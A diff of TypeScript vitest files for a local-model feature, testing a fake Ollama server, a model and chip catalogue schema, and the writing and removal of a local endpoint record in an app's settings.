+        if (!sw.logsBudget && text.includes('msg="inference compute"')) continue;
+        child.stderr.write(text + '\n');
+      }
+    })();
+    return child as unknown as ChildProcess;
+  }
+
+  return {
+    get baseUrl() {
+      return server ? `http://127.0.0.1:${port}` : '';
+    },
+    get port() {
+      return port;
+    },
+    get listening() {
+      return server !== undefined;
+    },
+    requests,
+    switches,
+    model,
+    state,
+    archive,
+    pin: () => ({
+      id: 'ollama',
+      version,
+      url: `http://127.0.0.1:${port}/download/ollama-darwin.tgz`,
+      bytes: archive.size,
+      sha256: archive.sha256,
+      unpackedBytes: 4096,
+      minMacosMajor: 14,
+    }),
+    listen,
+    close,
+    spawn,
+  };
+}
+
+/** A fake that listens on a port the system picked. Close it in `afterEach`. */
+export async function startFakeOllama(options: FakeOllamaOptions = {}): Promise<FakeOllama> {
+  const fake = createFakeOllama(options);
+  await fake.listen(0);
+  return fake;
+}

test/frontend-cli-no-id-branching.test.ts

@@ -38,6 +38,9 @@ const SCANNED_FILES = [
   'panels-ui.js',
   // A row's mode comes from the same catalog, never from a list of ids here.
   'foreign-sessions.js',
+  // The harness a local model is paired with arrives as a label in the payload
+  // (`Candidate.cliLabel`); the card names no CLI and compares no id.
+  'local-model-ui.js',
 ];
 
 /**

test/local-model-catalog.test.ts

@@ -0,0 +1,417 @@
+/**
+ * @fileoverview Tests for src/config/local-model-catalog.ts: the compiled catalogue of models,
+ * harnesses and chips, its schema, and the chip lookup.
+ *
+ * Four things are pinned:
+ *
+ * 1. The stock constant PARSES. `getLocalModelCatalog()` validates it on first use and throws on
+ *    a bad row, so this test is what keeps a bad row from ever reaching the route.
+ * 2. The schema refuses what must never get in: a model id that could name another registry
+ *    (a slash, a host), an unknown key (a `runtime` block with a download URL), and rows that
+ *    break a rule across rows (a repeated id, contexts in the wrong order, a chip row that
+ *    hides a more specific one).
+ * 3. The chip lookup never guesses: a chip that no row names has no bandwidth, including one
+ *    whose name merely contains a known name ('Apple M10', 'Apple M6 Pro').
+ * 4. Which figures were MEASURED on a Mac and which are carried over from the measured row:
+ *    one row says `measured` (its size is what a Mac really downloads, and it alone has a
+ *    tested entry), every other row says `estimated`.
+ *
+ * Port: N/A (pure data and functions).
+ */
+
+import { describe, expect, it } from 'vitest';
+import {
+  chipBandwidthGbps,
+  chipNameMatches,
+  getLocalModelCatalog,
+  LOCAL_MODEL_ID_PATTERN,
+  LocalModelCatalogSchema,
+  STOCK_LOCAL_MODEL_CATALOG,
+} from '../src/config/local-model-catalog.js';
+import type { LocalModelCatalog, LocalModelEntry } from '../src/types.js';
+
+/** A deep copy of the stock catalogue that a test may break. */
+function copy(): LocalModelCatalog {
+  return structuredClone(STOCK_LOCAL_MODEL_CATALOG);
+}
+
+/** The message of every issue the schema raises for `catalog`, or an empty list when it parses. */
+function issuesOf(catalog: unknown): string[] {
+  const result = LocalModelCatalogSchema.safeParse(catalog);
+  return result.success ? [] : result.error.issues.map((issue) => `${issue.path.join('.')}: ${issue.message}`);
+}
+
+/** The stock catalogue with its first model changed. */
+/** `url` and `kvBytesPerToken` are no fields of a model row: tests pass them to prove the schema refuses an unknown key. */
+function withFirstModel(change: Partial<Record<keyof LocalModelEntry | 'url' | 'kvBytesPerToken', unknown>>): unknown {
+  const catalog = copy();
+  return { ...catalog, models: [{ ...catalog.models[0], ...change }, ...catalog.models.slice(1)] };
+}
+
+describe('the stock catalogue', () => {
+  it('passes its own schema', () => {
+    expect(issuesOf(STOCK_LOCAL_MODEL_CATALOG)).toEqual([]);
+  });
+
+  it('is what the getter returns, validated once', () => {
+    const first = getLocalModelCatalog();
+    expect(first).toEqual(STOCK_LOCAL_MODEL_CATALOG);
+    // Parsed on first use, then reused: the same object, not a new parse per request.
+    expect(getLocalModelCatalog()).toBe(first);
+  });
+
+  it('lists the seven models of the design, without flint:40b', () => {
+    expect(STOCK_LOCAL_MODEL_CATALOG.models.map((m) => m.id)).toEqual([
+      'qwen3.5:9b',
+      'qwen3.5:9b-q8_0',
+      'gpt-oss:20b',
+      'qwen3.6:35b-a3b',
+      'qwen3.8:27b',
+      'qwen3.8:27b-q8_0',
+      'qwen3.5:122b-a10b',
+    ]);
+    expect(STOCK_LOCAL_MODEL_CATALOG.models.some((m) => m.id.startsWith('flint'))).toBe(false);
+  });
+
+  it('carries the size a Mac really downloads where that was measured, else the registry manifest', () => {
+    expect(Object.fromEntries(STOCK_LOCAL_MODEL_CATALOG.models.map((m) => [m.id, m.bytes]))).toEqual({
+      // The sum of the layer sizes of each tag's manifest, as fetched on 2026-11-06.
+      'qwen3.5:9b': 6_550_825_373,
+      'qwen3.5:9b-q8_0': 10_449_217_949,
+      'gpt-oss:20b': 13_793_441_427,
+      // The total of the real pull on a Mac (an MLX build). Its manifest sums to 22,621,314,161.
+      'qwen3.6:35b-a3b': 23_105_798_956,
+      'qwen3.8:27b': 17_741_871_939,
+      'qwen3.8:27b-q8_0': 29_978_241_837,
+      'qwen3.5:122b-a10b': 81_370_035_877,
+    });
+  });
+
+  it('says which row was measured on a Mac: one, and every other row is an estimate', () => {
+    expect(Object.fromEntries(STOCK_LOCAL_MODEL_CATALOG.models.map((m) => [m.id, m.figures]))).toEqual({
+      'qwen3.5:9b': 'estimated',
+      'qwen3.5:9b-q8_0': 'estimated',
+      'gpt-oss:20b': 'estimated',
+      'qwen3.6:35b-a3b': 'measured',
+      'qwen3.8:27b': 'estimated',
+      'qwen3.8:27b-q8_0': 'estimated',
+      'qwen3.5:122b-a10b': 'estimated',
+    });
+  });
+
+  it('gives every row the memory figures measured on the one row: 37 KB per token, 3 GB, 5 GB', () => {
+    for (const model of STOCK_LOCAL_MODEL_CATALOG.models) {
+      expect(
+        [model.heldBytesPerToken, model.overheadBytes, model.peakExtraBytes],
+        `${model.id}: an unmeasured row carries the measured row's figures, not invented ones`
+      ).toEqual([37_000, 3_000_000_000, 5_000_000_000]);
+    }
+    // No row keeps the figure that was computed from the model's config.
+    expect(JSON.stringify(STOCK_LOCAL_MODEL_CATALOG)).not.toContain('kvBytesPerToken');
+  });
+
+  it('has one tested entry: the 35B-A3B with OpenCode on the MacBook Pro, with its measured speed', () => {
+    expect(
+      Object.fromEntries(
+        STOCK_LOCAL_MODEL_CATALOG.models.filter((m) => m.tested.length > 0).map((m) => [m.id, m.tested])
+      )
+    ).toEqual({
+      'qwen3.6:35b-a3b': [
+        { chip: 'Apple M5 Pro', memGb: 48, cli: 'opencode', date: '2026-11-06', tokensPerSecond: 67.7 },
+      ],
+    });
+    // A row may claim a test only when its figures were measured.
+    for (const model of STOCK_LOCAL_MODEL_CATALOG.models) {
+      if (model.tested.length > 0) expect(model.figures, model.id).toBe('measured');
+    }
+  });
+
+  it('gives every model a parameter count, an id of the default registry and a license', () => {
+    for (const model of STOCK_LOCAL_MODEL_CATALOG.models) {
+      expect(model.paramsB, model.id).toBeGreaterThan(0);
+      expect(model.id).toMatch(LOCAL_MODEL_ID_PATTERN);
+      expect(model.license).toBe('Apache-2.0');
+    }
+    // The two 9B rows are the ones under the 12 billion line of the `limited` verdict.
+    expect(STOCK_LOCAL_MODEL_CATALOG.models.filter((m) => m.paramsB < 12).map((m) => m.id)).toEqual([
+      'qwen3.5:9b',
+      'qwen3.5:9b-q8_0',
+    ]);
+  });
+
+  it('has a speed figure only where one was measured or scaled from a measurement', () => {
+    expect(Object.fromEntries(STOCK_LOCAL_MODEL_CATALOG.models.map((m) => [m.id, m.speedPer100Gbps ?? null]))).toEqual({
+      'qwen3.5:9b': 9.3,
+      'qwen3.5:9b-q8_0': 5.8,
+      'gpt-oss:20b': null,
+      'qwen3.6:35b-a3b': 13.6,
+      'qwen3.8:27b': 2.95,
+      'qwen3.8:27b-q8_0': 1.7,
+      'qwen3.5:122b-a10b': null,
+    });
+  });
+
+  it('lists its harnesses as data rows, one of them gated', () => {
+    expect(STOCK_LOCAL_MODEL_CATALOG.harnesses).toEqual([
+      { cli: 'opencode', minContext: 65536, rank: 3 },
+      { cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true },
+      { cli: 'pi', minContext: 32768, rank: 1, gated: true },
+    ]);
+  });
+
+  it('names the oldest macOS and its schema version', () => {
+    expect(STOCK_LOCAL_MODEL_CATALOG.minMacosMajor).toBe(14);
+    expect(STOCK_LOCAL_MODEL_CATALOG.schema).toBe(1);
+  });
+
+  it('holds no download data: no URL, no digest, no runtime block', () => {
+    const text = JSON.stringify(STOCK_LOCAL_MODEL_CATALOG);
+    expect(text).not.toMatch(/https?:/);
+    expect(text).not.toMatch(/sha256/i);
+    expect(Object.keys(STOCK_LOCAL_MODEL_CATALOG).sort()).toEqual(
+      ['chips', 'harnesses', 'minMacosMajor', 'models', 'schema', 'updated'].sort()
+    );
+  });
+});
+
+describe('the model id rule', () => {
+  it('accepts name:tag in lowercase', () => {
+    for (const id of ['qwen3.5:9b', 'gpt-oss:20b', 'qwen3.8:27b-q8_0', 'a:b', 'x_y.z-1:2.3_4']) {
+      expect(LOCAL_MODEL_ID_PATTERN.test(id), id).toBe(true);
+    }
+  });
+
+  it('refuses anything that could name another registry, namespace or no tag at all', () => {
+    const bad = [
+      'evil.example/x/y:z',
+      'library/qwen3.5:9b',
+      'registry.ollama.ai/library/qwen3.5:9b',
+      'Qwen3.5:9b',
+      'qwen3.5:9B',
+      'qwen3.5',
+      'qwen3.5:',
+      ':9b',
+      'qwen3.5:9b:extra',
+      'qwen 3.5:9b',
+      '-qwen:9b',
+      'qwen:-9b',
+      'qwen3.5:9b\n',
+      '',
+    ];
+    for (const id of bad) expect(LOCAL_MODEL_ID_PATTERN.test(id), JSON.stringify(id)).toBe(false);
+  });
+
+  it('makes the schema reject a catalogue with such an id', () => {
+    for (const id of ['evil.example/x/y:z', 'Qwen3.5:9b', 'qwen3.5', 'qwen3.5:9b ']) {
+      const issues = issuesOf(withFirstModel({ id }));
+      expect(issues, id).toHaveLength(1);
+      expect(issues[0]).toContain('models.0.id');
+    }
+  });
+});
+
+describe('the schema, field by field', () => {
+  it('refuses a key it does not know, at the top and inside a row', () => {
+    // The whole point of having no `runtime` block: a data row can never carry a download URL.
+    expect(issuesOf({ ...copy(), runtime: { url: 'https://example.com/x.tgz', sha256: 'abc' } })).not.toEqual([]);
+    expect(issuesOf(withFirstModel({ url: 'https://example.com/model' }))).not.toEqual([]);
+    const catalog = copy();
+    expect(issuesOf({ ...catalog, harnesses: [{ ...catalog.harnesses[0], dialect: 'openai' }] })).not.toEqual([]);
+    expect(issuesOf({ ...catalog, chips: [{ match: 'M4', gbps: 120, cores: 10 }] })).not.toEqual([]);
+    // The two figures the need was once computed from are gone, and a row that still has one is refused.
+    expect(issuesOf(withFirstModel({ kvBytesPerToken: 32768 }))).not.toEqual([]);
+    expect(issuesOf({ ...catalog, promptCacheTiers: [{ minMemGb: 0, bytes: 1 }] })).not.toEqual([]);
+  });
+
+  it('requires the memory figures and where they come from on every model row', () => {
+    for (const field of ['heldBytesPerToken', 'overheadBytes', 'peakExtraBytes', 'figures'] as const) {
+      const row: Record<string, unknown> = { ...copy().models[0] };
+      delete row[field];
+      const issues = issuesOf({ ...copy(), models: [row] });
+      expect(issues, field).toHaveLength(1);
+      expect(issues[0]).toContain(`models.0.${field}`);
+    }
+    expect(issuesOf(withFirstModel({ figures: 'guessed' }))).not.toEqual([]);
+    // What stays held per token must be a positive whole number of bytes; the other two may be 0.
+    expect(issuesOf(withFirstModel({ heldBytesPerToken: 0 }))).not.toEqual([]);
+    expect(issuesOf(withFirstModel({ heldBytesPerToken: 36.5 }))).not.toEqual([]);
+    expect(issuesOf(withFirstModel({ overheadBytes: 0, peakExtraBytes: 0 }))).toEqual([]);
+    expect(issuesOf(withFirstModel({ overheadBytes: -1 }))).not.toEqual([]);
+    expect(issuesOf(withFirstModel({ peakExtraBytes: 1.5 }))).not.toEqual([]);
+  });
+
+  it('requires paramsB and tested on every model row', () => {
+    for (const field of ['paramsB', 'tested'] as const) {
+      const row: Record<string, unknown> = { ...copy().models[0] };
+      delete row[field];
+      const issues = issuesOf({ ...copy(), models: [row] });
+      expect(issues, field).toHaveLength(1);
+      expect(issues[0]).toContain(`models.0.${field}`);
+    }
+  });
+
+  it('refuses sizes and counts that are not positive whole numbers', () => {
+    expect(issuesOf(withFirstModel({ bytes: 0 }))).not.toEqual([]);
+    expect(issuesOf(withFirstModel({ bytes: 1.5 }))).not.toEqual([]);
+    expect(issuesOf(withFirstModel({ contexts: [] }))).not.toEqual([]);
+    expect(issuesOf(withFirstModel({ paramsB: 0 }))).not.toEqual([]);
+    expect(issuesOf(withFirstModel({ speedPer100Gbps: 0 }))).not.toEqual([]);
+  });
+
+  it('accepts a tested entry and checks its shape', () => {
+    const good = { chip: 'Apple M4', memGb: 16, cli: 'opencode', date: '2026-11-06' };
+    expect(issuesOf(withFirstModel({ tested: [good] }))).toEqual([]);
+    expect(issuesOf(withFirstModel({ tested: [{ ...good, date: '6 November 2026' }] }))).not.toEqual([]);
+    expect(issuesOf(withFirstModel({ tested: [{ ...good, memGb: 0 }] }))).not.toEqual([]);
+    expect(issuesOf(withFirstModel({ tested: [{ ...good, result: 'pass' }] }))).not.toEqual([]);
+    // The speed measured in that test is optional, and a speed is above 0.
+    expect(issuesOf(withFirstModel({ tested: [{ ...good, tokensPerSecond: 67.7 }] }))).toEqual([]);
+    expect(issuesOf(withFirstModel({ tested: [{ ...good, tokensPerSecond: 0 }] }))).not.toEqual([]);
+    expect(issuesOf(withFirstModel({ tested: [{ ...good, tokensPerSecond: '67.7' }] }))).not.toEqual([]);
+  });
+
+  it('refuses another schema version and a date that is not ISO', () => {
+    expect(issuesOf({ ...copy(), schema: 2 })).not.toEqual([]);
+    expect(issuesOf({ ...copy(), updated: 'today' })).not.toEqual([]);
+  });
+});
+
+describe('the schema, across rows', () => {
+  it('refuses a repeated model id', () => {
+    const catalog = copy();
+    catalog.models[1] = { ...catalog.models[1], id: catalog.models[0].id };
+    expect(issuesOf(catalog)).toEqual(['models.1.id: model ids must be unique']);
+  });
+
+  it('refuses a repeated model rank, which would leave the order of two models to chance', () => {
+    const catalog = copy();
+    catalog.models[1] = { ...catalog.models[1], rank: catalog.models[0].rank };
+    expect(issuesOf(catalog)).toEqual(['models.1.rank: model ranks must be unique']);
+  });
+
+  it('refuses a harness listed twice and a repeated harness rank', () => {
+    const twice = copy();
+    twice.harnesses.push({ cli: twice.harnesses[0].cli, minContext: 32768, rank: 9 });
+    expect(issuesOf(twice)).toEqual(['harnesses.3.cli: a harness may be listed only once']);
+
+    const sameRank = copy();
+    sameRank.harnesses[1] = { ...sameRank.harnesses[1], rank: sameRank.harnesses[0].rank };
+    expect(issuesOf(sameRank)).toEqual(['harnesses.1.rank: harness ranks must be unique']);
+  });
+
+  it('refuses contexts that are not listed largest first, or that repeat', () => {
+    expect(issuesOf(withFirstModel({ contexts: [32768, 65536] }))).toEqual([
+      'models.0.contexts.1: contexts must be listed largest first, without repeats',
+    ]);
+    expect(issuesOf(withFirstModel({ contexts: [65536, 65536] }))).toEqual([
+      'models.0.contexts.1: contexts must be listed largest first, without repeats',
+    ]);
+  });
+
+  it('refuses a tested entry for a harness the catalogue does not list', () => {
+    const entry = { chip: 'Apple M4', memGb: 16, cli: 'not-a-harness', date: '2026-11-06' };
+    expect(issuesOf(withFirstModel({ tested: [entry] }))).toEqual([
+      'models.0.tested.0.cli: a tested entry must name a harness of this catalogue',
+    ]);
+  });
+
+  it('refuses chips that are not listed most specific first', () => {
+    const catalog = copy();
+    catalog.chips = [
+      { match: 'M4', gbps: 120 },
+      { match: 'M4 Max', gbps: 410 },
+    ];
+    expect(issuesOf(catalog)).toEqual([
+      "chips.1.match: chips must be listed most specific first: 'M4' comes before 'M4 Max'",
+    ]);
+
+    const repeated = copy();
+    repeated.chips = [
+      { match: 'M4', gbps: 120 },
+      { match: 'm4', gbps: 130 },
+    ];
+    expect(issuesOf(repeated)).toHaveLength(1);
+  });
+});
+
+describe('the chips table', () => {
+  const chips = STOCK_LOCAL_MODEL_CATALOG.chips;
+
+  it('holds every chip of the source table that shipped', () => {
+    // Bandwidth column of https://github.com/ggml-org/llama.cpp/discussions/4167, read on
+    // 2026-11-06. A name that covers two bandwidths has the lower one.
+    expect(Object.fromEntries(chips.map((row) => [row.match, row.gbps]))).toEqual({
+      'M5 Ultra': 1228,
+      'M3 Ultra': 800,
+      'M2 Ultra': 800,
+      'M1 Ultra': 800,
+      'M5 Max': 460,
+      'M4 Max': 410,
+      'M3 Max': 300,
+      'M2 Max': 400,
+      'M1 Max': 400,
+      'M5 Pro': 307,
+      'M4 Pro': 273,
+      'M3 Pro': 150,
+      'M2 Pro': 200,
+      'M1 Pro': 200,
+      M5: 154,
+      M4: 120,
+      M3: 100,
+      M2: 100,
+      M1: 68,
+    });
+  });
+
+  it('finds each row under the name macOS reports for that chip', () => {
+    // No row is hidden by an earlier one: 'Apple M4 Max' is 410, not the 120 of 'M4'.
+    for (const row of chips) {
+      expect(chipBandwidthGbps(chips, `Apple ${row.match}`), row.match).toBe(row.gbps);
+    }
+  });
+
+  it('knows the chips of the two test Macs', () => {
+    expect(chipBandwidthGbps(chips, 'Apple M4')).toBe(120);
+    expect(chipBandwidthGbps(chips, 'Apple M5 Pro')).toBe(307);
+  });
+
+  it('never guesses: a chip that no row names has no bandwidth', () => {
+    const unknown = [
+      // A base chip that is not in the table.
+      'Apple M6',
+      // A variant the table has never heard of must not borrow the figure of its base chip.
+      'Apple M6 Pro',
+      'Apple M4 Ultra',
+      'Apple M5 Extreme',
+      // A name that merely contains a known name.
+      'Apple M10',
+      'Apple M12 Pro',
+      'Apple M1 Max (Virtual)',
+      'Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz',
+      'VirtualApple @ 2.50GHz processor',
+      'Max',
+      '',
+    ];
+    for (const chip of unknown) expect(chipBandwidthGbps(chips, chip), chip).toBeUndefined();
+    expect(chipBandwidthGbps(chips, undefined)).toBeUndefined();
+    expect(chipBandwidthGbps([], 'Apple M4')).toBeUndefined();
+  });
+});
+
+describe('chipNameMatches', () => {
+  it('matches the whole chip name at the end of the string, ignoring case and padding', () => {
+    expect(chipNameMatches('Apple M4 Pro', 'M4 Pro')).toBe(true);
+    expect(chipNameMatches('Apple M4', 'M4')).toBe(true);
+    expect(chipNameMatches('M4', 'M4')).toBe(true);
+    expect(chipNameMatches('  apple m4 pro ', 'M4 PRO')).toBe(true);
+  });
+
+  it('does not match a part of a longer name', () => {
+    expect(chipNameMatches('Apple M4 Pro', 'M4')).toBe(false);
+    expect(chipNameMatches('Apple M14', 'M4')).toBe(false);
+    expect(chipNameMatches('Apple M10', 'M1')).toBe(false);
+    expect(chipNameMatches('Apple XM4', 'M4')).toBe(false);
+    expect(chipNameMatches('Apple M4', '')).toBe(false);
+    expect(chipNameMatches('', 'M4')).toBe(false);
+  });
+});

test/local-model-connect.test.ts

@@ -0,0 +1,489 @@
+/**
+ * @fileoverview Connecting the installed local model to Codeman and undoing it
+ * (src/local-model/connect.ts): the two writes outside the local model folder.
+ *
+ * What is pinned:
+ *  - the endpoint record's exact shape, and that it passes the schema every saved endpoint passes;
+ *  - connecting writes the record and switches the settings flag on, keeps every other
+ *    endpoint and setting, and is idempotent;
+ *  - the reserved id is never taken over: a record with it that is not ours refuses the
+ *    connect and changes nothing;
+ *  - a refused write leaves the pair as it was (a record this call added is taken out again);
+ *  - disconnecting removes our record, and restores the flag ONLY when this feature switched
+ *    it on and no other endpoint is saved;
+ *  - the digest comparison, the session names of the DELETE's 409, the managed-record test,
+ *    and that the runtime's private key cannot be served.
+ *
+ * Port: N/A (no server; the two files live in the test's temp data dir).
+ */
+import { afterEach, describe, expect, it, vi } from 'vitest';
+import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
+import { dirname, join } from 'node:path';
+import { dataPath, getDataDir } from '../src/config/instance.js';
+import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
+import {
+  buildLocalEndpointRecord,
+  compareModelDigest,
+  connectLocalModel,
+  disconnectLocalModel,
+  ensureLocalEndpoint,
+  inspectLocalEndpoint,
+  isLocalModelEndpointId,
+  isManagedLocalEndpoint,
+  isSameLocalEndpoint,
+  LOCAL_MODEL_ENDPOINT_ID,
+  LOCAL_MODEL_ENDPOINT_LABEL,
+  moveLocalEndpoint,
+  sessionNamesUsingEndpoint,
+} from '../src/local-model/connect.js';
+import { CustomModelHostSchema } from '../src/web/schemas.js';
+import { SETTINGS_PATH } from '../src/web/route-helpers.js';
+import { isSensitivePath } from '../src/web/sensitive-path.js';
+
+const HOSTS = () => customModelHostsPath(getDataDir());
+const STATE = () => dataPath('local-model.json');
+
+const INPUT = { port: 11435, modelId: 'qwen3.6:35b-a3b', context: 131072 };
+
+const OTHER: CustomModelHost = {
+  id: 'office-gpu',
+  label: 'Office GPU',
+  baseUrl: 'http://192.168.1.50:8080',
+  apiKey: 'sk-keep-me',
+  models: ['some-model'],
+};
+
+const RECORD: CustomModelHost = {
+  id: 'local-ollama',
+  label: 'This Mac',
+  baseUrl: 'http://127.0.0.1:11435',
+  authStyle: 'bearer',
+  models: ['qwen3.6:35b-a3b'],
+  defaultModelId: 'qwen3.6:35b-a3b',
+  defaultContextLength: 131072,
+};
+
+function writeSettings(settings: Record<string, unknown>): void {
+  mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
+  writeFileSync(SETTINGS_PATH, JSON.stringify(settings));
+}
+
+const readSettings = (): Record<string, unknown> => JSON.parse(readFileSync(SETTINGS_PATH, 'utf8'));
+
+function writeHosts(hosts: CustomModelHost[]): void {
+  writeFileSync(HOSTS(), JSON.stringify(hosts));
+}
+
+afterEach(() => {
+  rmSync(HOSTS(), { force: true });
+  rmSync(SETTINGS_PATH, { force: true });
+  rmSync(STATE(), { force: true });
+  vi.restoreAllMocks();
+});
+
+describe('buildLocalEndpointRecord', () => {
+  it('is the one record this feature writes, to the letter', () => {
+    expect(LOCAL_MODEL_ENDPOINT_ID).toBe('local-ollama');
+    expect(LOCAL_MODEL_ENDPOINT_LABEL).toBe('This Mac');
+    expect(buildLocalEndpointRecord(INPUT)).toEqual(RECORD);
+  });
+
+  it('carries no API key and no field of its own invention', () => {
+    expect(Object.keys(buildLocalEndpointRecord(INPUT)).sort()).toEqual([
+      'authStyle',
+      'baseUrl',
+      'defaultContextLength',
+      'defaultModelId',
+      'id',
+      'label',
+      'models',
+    ]);
+  });
+
+  it('passes the schema a saved endpoint must pass, unchanged', () => {
+    const parsed = CustomModelHostSchema.safeParse(buildLocalEndpointRecord(INPUT));
+    expect(parsed.success).toBe(true);
+    expect(parsed.data).toEqual(RECORD);
+  });
+
+  it('the port of the runtime is the port of the URL, and the chosen context is the default context', () => {
+    const record = buildLocalEndpointRecord({ port: 11442, modelId: 'gpt-oss:20b', context: 65536 });
+    expect(record.baseUrl).toBe('http://127.0.0.1:11442');
+    expect(record.models).toEqual(['gpt-oss:20b']);
+    expect(record.defaultModelId).toBe('gpt-oss:20b');
+    expect(record.defaultContextLength).toBe(65536);
+  });
+});
+
+describe('connectLocalModel', () => {
+  it('on a fresh data dir: writes the record, switches the flag on, and reports that it was off', async () => {
+    const result = await connectLocalModel({ ...INPUT, ours: false });
+    expect(result).toEqual({ ok: true, flagWasEnabled: false });
+    expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
+    expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
+  });
+
+  it('keeps every other endpoint and every other setting', async () => {
+    writeHosts([OTHER]);
+    writeSettings({ tmuxHistoryLimit: 5000, customModelEndpointsEnabled: false, voiceSettings: { apiKey: 'dg' } });
+    const result = await connectLocalModel({ ...INPUT, ours: false });
+    expect(result).toEqual({ ok: true, flagWasEnabled: false });
+    expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, RECORD]);
+    expect(readSettings()).toEqual({
+      tmuxHistoryLimit: 5000,
+      customModelEndpointsEnabled: true,
+      voiceSettings: { apiKey: 'dg' },
+    });
+  });
+
+  it('a flag that was already on is reported as such and the settings file is not rewritten', async () => {
+    writeSettings({ customModelEndpointsEnabled: true, caseOrder: ['a'] });
+    const before = readFileSync(SETTINGS_PATH, 'utf8');
+    const result = await connectLocalModel({ ...INPUT, ours: false });
+    expect(result).toEqual({ ok: true, flagWasEnabled: true });
+    expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(before);
+  });
+
+  it('is idempotent: a second connect replaces our record and hands the first flag value back', async () => {
+    writeHosts([OTHER]);
+    const first = await connectLocalModel({ ...INPUT, ours: false });
+    expect(first).toEqual({ ok: true, flagWasEnabled: false });
+    // The second connect finds the flag ON, because the first switched it on. The value that
+    // is remembered must stay the one from before this feature touched it.
+    const second = await connectLocalModel({ ...INPUT, context: 65536, ours: true, flagWasEnabled: false });
+    expect(second).toEqual({ ok: true, flagWasEnabled: false });
+    const hosts = await readCustomModelHosts(getDataDir());
+    expect(hosts.map((host) => host.id)).toEqual(['office-gpu', 'local-ollama']);
+    expect(hosts[1].defaultContextLength).toBe(65536);
+  });
+
+  it('replaces our own record in place when the state says it is ours', async () => {
+    writeHosts([{ ...RECORD, baseUrl: 'http://127.0.0.1:11440', models: ['old:1b'] }, OTHER]);
+    const result = await connectLocalModel({ ...INPUT, ours: true, flagWasEnabled: true });
+    expect(result).toEqual({ ok: true, flagWasEnabled: true });
+    expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD, OTHER]);
+  });
+
+  it('never takes over a record with the reserved id that is not ours, and changes nothing', async () => {
+    const theirs: CustomModelHost = { id: 'local-ollama', label: 'My own Ollama', baseUrl: 'http://127.0.0.1:11434' };
+    writeHosts([theirs]);
+    writeSettings({ customModelEndpointsEnabled: false });
+    const hostsBefore = readFileSync(HOSTS(), 'utf8');
+    const settingsBefore = readFileSync(SETTINGS_PATH, 'utf8');
+    const result = await connectLocalModel({ ...INPUT, ours: false });
+    expect(result).toEqual({ ok: false, code: 'endpoint-id-taken' });
+    expect(readFileSync(HOSTS(), 'utf8')).toBe(hostsBefore);
+    expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(settingsBefore);
+  });
+
+  it('an endpoint store that does not parse is connect-failed: neither file is touched', async () => {
+    vi.spyOn(console, 'warn').mockImplementation(() => {});
+    writeFileSync(HOSTS(), '[{"id":"x","apiKey":"sk-secret"},');
+    writeSettings({ customModelEndpointsEnabled: false });
+    const result = await connectLocalModel({ ...INPUT, ours: false });
+    expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
+    expect(result.ok === false && result.detail).toContain('custom-model-hosts.json');
+    expect(result.ok === false && result.detail).not.toContain('sk-secret');
+    expect(readFileSync(HOSTS(), 'utf8')).toBe('[{"id":"x","apiKey":"sk-secret"},');
+    expect(readSettings()).toEqual({ customModelEndpointsEnabled: false });
+  });
+
+  it('a settings file that does not parse is connect-failed, and the record just added is taken out again', async () => {
+    vi.spyOn(console, 'warn').mockImplementation(() => {});
+    writeHosts([OTHER]);
+    mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
+    writeFileSync(SETTINGS_PATH, '{"customModelEndpointsEnabled":');
+    const result = await connectLocalModel({ ...INPUT, ours: false });
+    expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
+    expect(result.ok === false && result.detail).toContain('settings.json');
+    // The pair is not left half done: a later attempt starts from the same place.
+    expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
+    expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe('{"customModelEndpointsEnabled":');
+  });
+
+  it('a settings failure does not take out a record that was ours before this call', async () => {
+    vi.spyOn(console, 'warn').mockImplementation(() => {});
+    writeHosts([RECORD]);
+    mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
+    writeFileSync(SETTINGS_PATH, 'not json');
+    const result = await connectLocalModel({ ...INPUT, ours: true, flagWasEnabled: false });
+    expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
+    expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
+  });
+
+  it('a port that cannot be a URL is connect-failed before anything is written', async () => {
+    const result = await connectLocalModel({ port: Number.NaN, modelId: 'x:y', context: 131072, ours: false });
+    expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
+    expect(existsSync(HOSTS())).toBe(false);
+    expect(existsSync(SETTINGS_PATH)).toBe(false);
+  });
+});
+
+describe('moveLocalEndpoint', () => {
+  it('moves our record to the new port and keeps everything else of it', async () => {
+    writeHosts([OTHER, RECORD]);
+    await moveLocalEndpoint(11441);
+    expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, { ...RECORD, baseUrl: 'http://127.0.0.1:11441' }]);
+  });
+
+  it('a missing record is not an error and creates no file', async () => {
+    await moveLocalEndpoint(11441);
+    expect(existsSync(HOSTS())).toBe(false);
+    writeHosts([OTHER]);
+    await moveLocalEndpoint(11441);
+    expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
+  });
+});
+
+describe('ensureLocalEndpoint', () => {
+  it('puts our record back when it is gone, keeps the other endpoints, and does not touch the settings', async () => {
+    writeHosts([OTHER]);
+    writeSettings({ customModelEndpointsEnabled: false });
+    expect(await ensureLocalEndpoint(INPUT)).toBe(true);
+    expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, RECORD]);
+    // A person who switched the setting off meant to.
+    expect(readSettings()).toEqual({ customModelEndpointsEnabled: false });
+  });
+
+  it('never replaces a record that is there, ours or not', async () => {
+    const theirs: CustomModelHost = { id: 'local-ollama', label: 'Edited', baseUrl: 'http://127.0.0.1:11499' };
+    writeHosts([theirs]);
+    const before = readFileSync(HOSTS(), 'utf8');
+    expect(await ensureLocalEndpoint(INPUT)).toBe(false);
+    expect(readFileSync(HOSTS(), 'utf8')).toBe(before);
+  });
+
